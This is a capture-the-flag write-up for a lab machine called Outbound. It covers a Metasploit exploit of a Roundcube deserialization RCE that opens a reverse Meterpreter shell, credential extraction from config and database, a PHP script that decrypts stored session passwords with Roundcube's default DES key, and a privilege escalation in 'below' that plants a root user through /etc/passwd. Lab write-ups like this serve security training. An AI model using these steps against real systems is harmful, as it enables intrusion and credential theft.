Preview
← BACK
Outbound Avatar

Outbound

Credentials provided: tyler:LhKL1o9Nm3X2

Recon

Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-30 15:31 CET
Nmap scan report for 10.10.11.77
Host is up (0.033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c4bd276ab10069205dcf755947f18df (ECDSA)
|_  256 2d6d4a4cee2e11b6c890e683e9df38b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds

User

Trying to access http://outbound.htb redirects to http://mail.outbound.htb.

Exploring online mail client

We land on the login page for the "Roundcube Webmail", we can login using our credentials.

  • Roundcube Webmail 1.6.10
  • Plugins:
    • archive 3.5
    • filesystem_attachments 1.0
    • jqueryui 1.13.2
    • zipdownload 3.4

I tried composing an email and sending it to myself tyler@locahost but it doesn't accept that, I also tried with admin but no success.

I can save it as a draft but the HTML is not getting rendered.

There's no emails in the inbox or in sent.

Instead let's try to find some vulnerabilities in the service and plugins.

There's a CVSS 9.9 Deserialization vuln in Roundcube < 1.6.11 that allows running php and thus RCE - CVE-2025-49113.

Exploiting RCE in Roundcube 1.6.10

There is a metasploit module for it

search roundcube
#    #  Name                                                  Disclosure Date  Rank       Check  Description
#    -  ----                                                  ---------------  ----       -----  -----------
#    0  exploit/multi/http/roundcube_auth_rce_cve_2025_49113  2025-06-02       excellent  Yes    Roundcube Post-Auth RCE via PHP Object Deserialization
#    1    \_ target: Linux Dropper                            .                .          .      .
#    2    \_ target: Linux Command                            .                .          .      .
use 1
set RHOSTS mail.outbound.htb
set VHOST mail.outbound.htb
set USERNAME tyler
set PASSWORD LhKL1o9Nm3X2
set LHOST 10.10.15.46
run
# [*] Started reverse TCP handler on 10.10.15.46:4444
# [*] Running automatic check ("set AutoCheck false" to disable)
# [+] Extracted version: 10610
# [+] The target appears to be vulnerable.
# [*] Fetching CSRF token...
# [+] Extracted token: sN9zAqAwEVAo9y0roaPX62c4WOqFLqFK
# [*] Attempting login...
# [+] Login successful.
# [*] Preparing payload...
# [+] Payload successfully generated and serialized.
# [*] Uploading malicious payload...
# [+] Exploit attempt complete. Check for session.
# [*] Sending stage (3090404 bytes) to 10.10.11.77
# [*] Meterpreter session 1 opened (10.10.15.46:4444 -> 10.10.11.77:60222) at 2025-10-30 15:49:36 +0100
shell
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
# html
ls html
# roundcube
cd html/roundcube
ls -la
# total 412
# drwxr-xr-x  1 www-data www-data   4096 Jun  6 18:55 .
# drwxr-xr-x  1 root     root       4096 Jun  6 18:55 ..
# -rw-r--r--  1 www-data www-data   2553 Feb  8  2025 .htaccess
# -rw-r--r--  1 www-data www-data 216244 Feb  8  2025 CHANGELOG.md
# -rw-r--r--  1 www-data www-data  12714 Feb  8  2025 INSTALL
# -rw-r--r--  1 www-data www-data  35147 Feb  8  2025 LICENSE
# -rw-r--r--  1 www-data www-data   3853 Feb  8  2025 README.md
# -rw-r--r--  1 www-data www-data   1049 Feb  8  2025 SECURITY.md
# drwxr-xr-x  1 www-data www-data   4096 Oct 30 14:57 SQL
# -rw-r--r--  1 www-data www-data   4657 Feb  8  2025 UPGRADING
# drwxr-xr-x  2 www-data www-data   4096 Feb  8  2025 bin
# -rw-r--r--  1 www-data www-data   1086 Feb  8  2025 composer.json
# -rw-r--r--  1 www-data www-data  56802 Feb  8  2025 composer.lock
# drwxr-xr-x  2 www-data www-data   4096 Jun  6 18:55 config
# -rw-r--r--  1 www-data www-data  11200 Feb  8  2025 index.php
# drwxr-xr-x  1 www-data www-data   4096 Jun 11 07:46 logs
# drwxr-xr-x 37 www-data www-data   4096 Feb  8  2025 plugins
# drwxr-xr-x  8 www-data www-data   4096 Feb  8  2025 program
# drwxr-xr-x  3 www-data www-data   4096 Jun  6 18:55 public_html
# drwxr-xr-x  3 www-data www-data   4096 Feb  8  2025 skins
# drwxr-xr-x  1 www-data www-data   4096 Oct 30 14:49 temp
# drwxr-xr-x 14 www-data www-data   4096 Feb  8  2025 vendor

I first looked at the .htaccess and the SQL/ directory, nothing interesting, but then inside config/ we find the config.inc.php. Looking into it we see a mysql password, though there's other interesting stuff I want to highlight, thankfully we have the default config also we can diff both:

cd config
diff config.inc.php config.inc.php.sample
# 28c28
# < $config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
# ---
# > $config['db_dsnw'] = 'mysql://roundcube:pass@localhost/roundcubemail';
# 67,68d66
# < $config['default_host'] = 'localhost';
# < $config['smtp_server'] = 'localhost';

Huh they didn't change the secret key for DB passwords:

cat config.inc.php
# // This key is used to encrypt the users imap password which is stored
# // in the session record. For the default cipher method it must be
# // exactly 24 characters long.
# // YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
# $config['des_key'] = 'rcmail-!24ByteDESkey*Str';
ps aux | grep mysql
# mysql        144  0.0  2.8 1409000 114896 ?      Sl   13:10   0:02 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
# root         145  0.0  0.0   6196  2560 ?        S    13:10   0:00 logger -t mysqld -p daemon error
# www-data    2733  0.0  0.0   3528  1664 ?        S    15:05   0:00 grep mysql
ps aux | grep maria
# root          41  0.0  0.0   2800  1792 ?        S    13:10   0:00 /bin/sh /usr/bin/mariadbd-safe
# mysql        144  0.0  2.8 1409000 114896 ?      Sl   13:10   0:02 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
# www-data    2749  0.0  0.0   3528  1792 ?        S    15:06   0:00 grep maria

Because we have full access to all processes running let's just do our shopping while we are at it:

cat /etc/passwd | grep "sh$"
# root:x:0:0:root:/root:/bin/bash
# tyler:x:1000:1000::/home/tyler:/bin/bash
# jacob:x:1001:1001::/home/jacob:/bin/bash
# mel:x:1002:1002::/home/mel:/bin/bash
ps aux | grep root
# root        2662  0.0  0.0   8544  2976 ?        Ss   15:01   0:00 /usr/sbin/dovecot -c /etc/dovecot/dovecot.conf
# root        2664  0.0  0.0   5164  3072 ?        S    15:01   0:00 dovecot/log
# root        2665  0.0  0.1   7696  4864 ?        S    15:01   0:00 dovecot/config

# Nothing for other users.

Accessing jacob's mail

Let's explore the database using the credentials we found:

mariadb -u roundcube -p'RCDBPass2025' -D roundcube -S /run/mysqld/mysqld.sock -e "SHOW TABLES;"
# +---------------------+
# | Tables_in_roundcube |
# +---------------------+
# | cache               |
# | cache_index         |
# | cache_messages      |
# | cache_shared        |
# | cache_thread        |
# | collected_addresses |
# | contactgroupmembers |
# | contactgroups       |
# | contacts            |
# | dictionary          |
# | filestore           |
# | identities          |
# | responses           |
# | searches            |
# | session             |
# | system              |
# | users               |
# +---------------------+

mariadb -u roundcube -p'RCDBPass2025' -D roundcube -S /run/mysqld/mysqld.sock -e "SELECT username,preferences FROM users;"mysql
# +----------+---------------------------------------------------+
# | username | preferences                                       |
# +----------+---------------------------------------------------+
# | jacob    | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
# | mel      | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
# | tyler    | a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";} |
# +----------+---------------------------------------------------+

# Though we don't see any passwords here.

mariadb -u roundcube -p'RCDBPass2025' -D roundcube -S /run/mysqld/mysqld.sock -e "SELECT * FROM session;"
# +----------------------------+---------------------+------------+----------------+
# | sess_id                    | changed             | ip         | vars           |
# +----------------------------+---------------------+------------+----------------+
# | 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V... |
# +----------------------------+---------------------+------------+----------------+

In the sessions table, the vars field is a very long base64, if we decode it we get a similar struture to the preferences field from the users table. This seems to be php serialize().

Decoding the vars blob, we find: username|s:5:"jacob";, password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";, auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";, unseen_count|a:2:

Ok so there is a jacob user with a session and two unread emails.

It would be cool to try and either steal their emails, session or get their password. I tried a bit of everything, but in the end I believe the password is the way to go.

Though the hashing algorithm is a bit weird. If we remember from the config file we had this des_key, looking online a bit I found references to 3DES, which is a symmetric encryption algorithm, let's try to reverse it.

I asked ChatGPT to make me a decryption script for roundcube's encryption method using 3DES and the des_key:

php -r '$k="rcmail-!24ByteDESkey*Str";
        $c=trim($argv[1])."=";
        $d=base64_decode($c);
        echo openssl_decrypt(substr($d,8), "DES-EDE3-CBC", $k, OPENSSL_RAW_DATA,substr($d,0,8)).PHP_EOL'
  'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
# 595mO8DmwGeD

It then also pointed me to the decrypt method inside the source code

Ok let's confirm we have jacob:595mO8DmwGeD:

Great, so we learn of the real jacob password: jacob:gY4Wr3a1evp4 and that they have been provided privileges to read logs to review an anomaly causing high server load.

cat user.txt

Root

Looking at jacob's privileges:

sudo -l
# Matching Defaults entries for jacob on outbound:
#     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
#
# User jacob may run the following commands on outbound:
#     (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

below is a htop clone maintained by Meta (facebook), it has a sort of backup and restore feature which works within /var/log/below, be default this directory is world-writable, which allows us to do osme pretty nasty things. This is CVE-2025-27591 (<0.9.0)

Funny enough they never coded in a --version flag, so it's pretty much a blind exploit. But current latest is 0.11.0 so there's a good chance it works.

I found a PoC online, it's pretty over-kill but essentially it deletes the error logging file, symlinks /etc/passwd to it, runs the sudo below record process, which changes the privileges of the file, then appends a new line into it that creates a attacker user with root access, and su attacker to get root.

python3 exploit
cd /root
cat root.txt